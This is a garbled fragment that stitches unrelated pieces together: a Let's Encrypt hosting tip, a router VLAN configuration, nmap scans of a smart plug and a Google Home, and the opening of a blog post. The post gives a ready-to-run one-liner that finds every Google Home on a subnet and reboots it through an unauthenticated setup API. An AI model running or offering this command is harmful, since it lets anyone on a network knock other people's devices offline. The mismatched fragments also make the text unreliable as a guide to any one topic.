The best way to use Let’s Encrypt without shell access is by using built-in support from your hosting provider. If your hosting provider offers Let’s Encrypt support, they can request a free certificate on your behalf, install it, and keep it up-to-date automatically. For some hosting providers, this is a configuration setting you need to turn on. Other providers automatically request and install certificates for all their customers.
ip lan1 address 172.16.0.1/24
switch control use lan1 off
vlan lan1/1 802.1q vid=1 name=VLAN1
ip lan1/1 address 172.16.1.1/24
vlan lan1/2 802.1q vid=2 name=VLAN2
ip lan1/2 address 172.16.2.1/24
# nmap <スマートプラグのIPアドレス> -p 8000-30000
Host is up (0.0076s latency).
Not shown: 21992 closed tcp ports (conn-refused)
PORT STATE SERVICE
8008/tcp open http
8009/tcp open ajp13
8012/tcp open unknown
8443/tcp open https-alt
9000/tcp open cslistener
10001/tcp open scp-config
10005/tcp open stel
10007/tcp open mvs-capacity
10101/tcp open ezmeeting-2
Nmap done: 1 IP address (1 host up) scanned in 31.99 seconds
Google Home
# nmap <Google HomeのIPアドレス> -p 8000-30000
Host is up (0.0031s latency).
Not shown: 21996 closed tcp ports (conn-refused)
PORT STATE SERVICE
8008/tcp open http
8009/tcp open ajp13
9876/tcp open sd
10001/tcp open scp-config
22222/tcp open easyengine
Nmap done: 1 IP address (1 host up) scanned in 22.23 seconds
TL;DR: An undocumented API in Google home devices is easily exploitable. This command will reboot any on your local network: nmap –open -p 8008 192.168.1.0/24 | awk ‘/is up/ {print up}; {gsub (/(|)/,””); up = $NF}’ | xargs -I % curl -Lv -H Content-Type:application/json –data-raw ‘{“params”:”now”}’ http://%:8008/setup/reboot I have always been a fan of Google Products, so when they announced the Google Home Hub, I ordered one.
